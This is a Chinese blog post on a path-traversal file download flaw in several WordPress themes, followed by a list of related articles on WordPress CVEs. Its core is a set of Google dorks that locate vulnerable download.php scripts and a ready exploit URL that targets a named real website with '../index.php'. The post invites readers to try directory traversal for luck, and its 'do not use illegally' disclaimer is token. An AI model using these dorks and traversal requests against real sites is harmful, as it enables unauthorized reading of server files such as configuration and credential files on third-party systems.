WordPress 文件下载漏洞

最新推荐文章于 2024-06-18 16:40:54 发布
最新推荐文章于 2024-06-18 16:40:54 发布
阅读量826 收藏
点赞数
分类专栏： 技术
原文链接：https://www.colorgg.com
版权

Google dork：inurl:"/wp-content/themes/liberator/inc/php/download.php"

exploit：https://www.televox.com/webvox/wp-content/themes/liberator/inc/php/download.php?download_file=../index.php

 

google dork: 

inurl:"/wp-content/themes/newspro2891/download.php"

inurl:"/wp-content/themes/cafesalivation/download.php"

inurl:"/wp-content/themes/duena/download.php"

可以尝试跨目录访问，碰下运气，稳一波

各位可以自行测试，请勿非法使用！！

深蓝旭
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【漏洞复现】WordPress Automatic Plugin 任意文件下载漏洞(CVE-2024-27954)
qq_67810151的博客
03-27 465
WordPress Automatic Plugin 小于 3.92.1 的版本存在任意文件下载漏洞，未授权的攻击者可以通过该漏洞下载服务器的任意文件，从而获取大量敏感信息。
WordPress插件会员简化1.58 -任意文件下载漏洞（附poc）
weixin_30686845的博客
03-27 310
今天我们将讨论在WordPress插件WordPress插件与重点会员简化v1.58作为这个剧本的创作时间不打补丁的扶贫开发实践。脆弱脚本如下： CVE-ID：cve-2017-1002008 当然，也可以利用Google来找 inurl:/wp-content/plugins/membership-simplified-for-oap-members-only 　　 ...
WordPress Plugin SQL注入漏洞(CVE-2024-25832)
最新发布
2301_80127209的博客
06-18 528
WordPress是一种流行的内容管理系统（CMS），它提供了基本的网站功能，如文章发布、页面管理和用户权限控制等。然而，有时候用户需要更多的功能或特定的定制需求，这时就可以使用WordPress Plugin来实现。申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。帮助你在面试中脱颖而出。
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 873
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
wordpress4.9漏洞
小小猪的博客
12-01 8211
漏洞介绍： WordPress可以说是当今最受欢迎的（我想说没有之一）基于PHP的开源CMS，其目前的全球用户高达数百万，并拥有超过4600万次的超高下载量。它是一个开源的系统，其次它的功能也十分强大。也正因为此，WordPress也成了众多黑客的攻击目标，一旦得手也就意味着数百万用户的沦陷。这种广泛的采用使其成为网络犯罪分子的一个有趣目标。这次实验的漏洞是在WordPress核心中的一个经过身份验证的任意文件删除漏洞CVE-2018-20714 该漏洞可能导致攻击者执行任意代码。该漏洞自发现到报告给W
WordPress 5.8.3 SQL注入漏洞 CVE-2022-21661.pdf
09-27
为了测试和重现该漏洞，可以创建一个简单的插件，从https://github.com/WordPress/WordPressgit checkout 266c58518846获取示例代码，然后将PHP代码打包成ZIP文件，在WordPress后台安装并启用。值得注意的是，该插件...
wordpress 评论插件 wpDiscuz 任意文件上传漏洞分析1
08-03
【WordPress wpDiscuz 评论插件任意文件上传漏洞分析】 WordPress 是一款广泛使用的开源内容管理系统，而 wpDiscuz 是一个流行的评论插件，它为 WordPress 网站提供了丰富的交互式评论功能。然而，如同任何软件一样...
wordpress漏洞上传php文件,WordPress任意文件上传漏洞
weixin_30978239的博客
03-09 724
WordPress是一款免费的论坛Blog系统。WordPress中负责上传文件的代码如下：漏洞文件：'wp-admin/includes/file.php'Bugtraq ID: 37005Class: Input Validation ErrorCVE:Remote: YesLocal: NoPublished: Nov 11 2009 12:00AMUpdated: Nov 12...
插件漏洞导致 60 万个 WordPress 网站遭受攻击
网络研究观
11-16 4742
建议所有使用该插件的用户尽快升级到最新版本。
WordPress wp-trackback.php漏洞分析
03-03
本文对WordPress wp-trackback.php漏洞作了分析。
WordPress文件下载管理插件
10-17
WordPress的文件下载插件，那么就非WP-DownLoadManager插件莫属了，此插件可以说功能强悍，它可以添加本地文件、远程文件、可以自定义本地文件在服务器上的路径，可以修改在前台显示的模板参数。 WP-DownLoadManager插件安装： 下载wp-downloadmanager插件，将文件解压缩，上传到/wp-content/plugins/目录。 登录wordpress后台控制面板激活该插件，这是后台左侧栏或多出个Downloads标签，点击标签会出现下拉列表，可以对其进行相应的设置。 下拉列表中主要有： Manage Downloads:管理下载 Add File:添加文件 添加下载的文件，在页面中可以上传文件、删除文件、设置下载文件名以及描述等内容。 Download Options:下载选项 下载选项，这里主要设置下载的路径、下载的URL、下载页面的URL、下载的连接、下载的方式等内容，不是太难，这里不做过多介绍。 Download Templates:下载模板,设置模板样式 Uninstall WP-DownloadManager:卸载WP-DownloadManager 添加下载： a.日志中添加下载：大家可以看到当你激活该插件后“添加新文章”时会多一个“下载”选项图标，点击以后只需填入阿拉伯数字，然后在页面中会插入[download id="ID"]，此阿拉伯数字即为ID（你添加下载文档时的ID）。 [download id="ID" display="both"]，display=”1″表示只显示你的文件名；display=”both”表示显示你的文件名和文件简介！ [download id="1,2,3" category="4,5,6"] 为显示多个下载文件为1，2，3的文档，category=”4,5,6″为对应的分类ID。 b.在页面中添加下载：当你添加页面时在内容框插入：[page_download]或[page_download category="1"]即可填写下载了 c.主题模板中添加，添加时,你可使用代码进行，也可使用widget。 使用代码方法： 最新下载使用 <?php if (function_exists('get_recent_downloads')): ?> <?php get_recent_downloads(10); ?> <?php endif; ?> “10”为你要显示的下载文档数 显示分类下载 <?php if (function_exists('get_downloads_category')): ?> <?php get_downloads_category(1, 10); ?> <?php endif; ?> “1”为分类ID，“10”为你要显示的下载文档数 最多下载使用 <?php if (function_exists('get_most_downloaded')): ?> <?php get_most_downloaded(10); ?> <?php endif; ?> “10”为你要显示的下载文档数 使用Wideget:在激活插件的同时，也要激活插件的Wideget，激活后，在左边的侧栏中，点击"Appearance"-->Widegets，添加Most Downloaded（最多下载）和Recent Downloads（最近下载）即可,使用这种方式添加，内容会出现在前台页面的侧栏。
Wordpress Ajax Load More plugins CVE-2022-2943授权任意文件下载漏洞复现
afei001
03-30 454
WordPress Infinite Scroll Ajax Load More plugin由于alm_repeaters_export()函数上的文件路径验证不足，Ajax Load More插件在5.5.3及以下的版本中容易受到任意文件读取的攻击。这使得具有管理权限的经过身份验证的攻击者可以下载服务器上托管的可能包含敏感内容的任意文件，例如wp-config.php文件。
Wordpress 漏洞利用与后渗透
Y525698136的博客
01-11 2232
渗透这类 CMS 网站时，不要上来就狂扫，它大部分目录都是固定的，开源去看对应版本，商业的找几篇文章。特别 注意的是一定先去找对应版本漏洞，不要自己手工测基本行不通的。
wordpress 漏洞_WordPress漏洞分析
weixin_42514783的博客
01-26 5419
根据CVE官方漏洞通报得知wordpress新出一个组合式rce漏洞，漏洞编号分别为CVE-2019-8943和CVE-2019-8942，下载漏洞版本源码，分析漏洞触发过程，注：漏洞复现时一定要断网搭建，wordpress在联网状态时会自动更新代码包。找到漏洞发生文件 post.php，wordpress有多个post.php文件，这里简要说明一下各自的作用，wp-includes/post.p...
WordPress plugin 代码注入漏洞(CVE-2022-24663)
千寻的博客
12-09 2452
远程代码执行漏洞，任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 `PHP Everywhere `的请求，并在站点上执行任意 PHP 代码。 存在常见用户名低权限用户弱口令
悬镜安全丨WordPress插件漏洞影响超过100万个网站
Anprou的博客
03-03 1306
作为我们Sucuri防火墙(WAF)漏洞研究项目的一部分，为了查找存在的安全问题，我们已经审计了多个开源项目。 当审计WordPress的“NextGEN”相册插件时，我们发现了一个严重的SQL注入漏洞。 该漏洞允许一个未经授权的用户从受害人网站的数据库中偷取数据，包括用户的敏感信息。 目前，有超过100万个WordPress网站安装了这个易被攻击的插件。 你处在危
wordpress 漏洞_WordPress漏洞。 如何保护我的WordPress博客？
culin0274的博客
08-10 525
wordpress 漏洞 WordPress, being one of the most popular blogging platforms used, powers 60 million websites worldwide. So quite naturally, it is a prime target for criminals to try and find exploits in...
wordpress漏洞
07-28
回答: WordPress存在一些安全漏洞，其中包括SQL注入漏洞和远程代码注入漏洞。SQL注入漏洞是由于clean_query函数的校验不当导致的，可能通过插件或主题触发。这个漏洞已经在WordPress5.8.3中修复，影响的版本可以追溯到3.7.37。\[1\]远程代码注入漏洞是在WordPress5.0.0版本中发现的，主要是由于image模块存在漏洞，可以获取目录权限和进行文件包含，从而导致远程代码注入成功。\[2\]这个漏洞只存在于WordPress5.0.0版本，其他版本不受影响。漏洞的发生是因为裁剪图片功能存在注入，可以远程读取图片并将恶意的代码图片文件写入网站根目录，最后利用文件包含漏洞生成SHELL获取网站的最高权限。\[3\]为了保护网站安全，建议及时升级到最新版本的WordPress，并定期检查和更新插件和主题。 #### 引用[.reference_title] - *1* [(CVE-2022-21661)WordPress SQL 注入漏洞分析和复现](https://blog.csdn.net/weixin_50464560/article/details/126744468)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [WordPress网站漏洞利用及漏洞修复解决方案](https://blog.csdn.net/ctjot22080/article/details/100324184)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值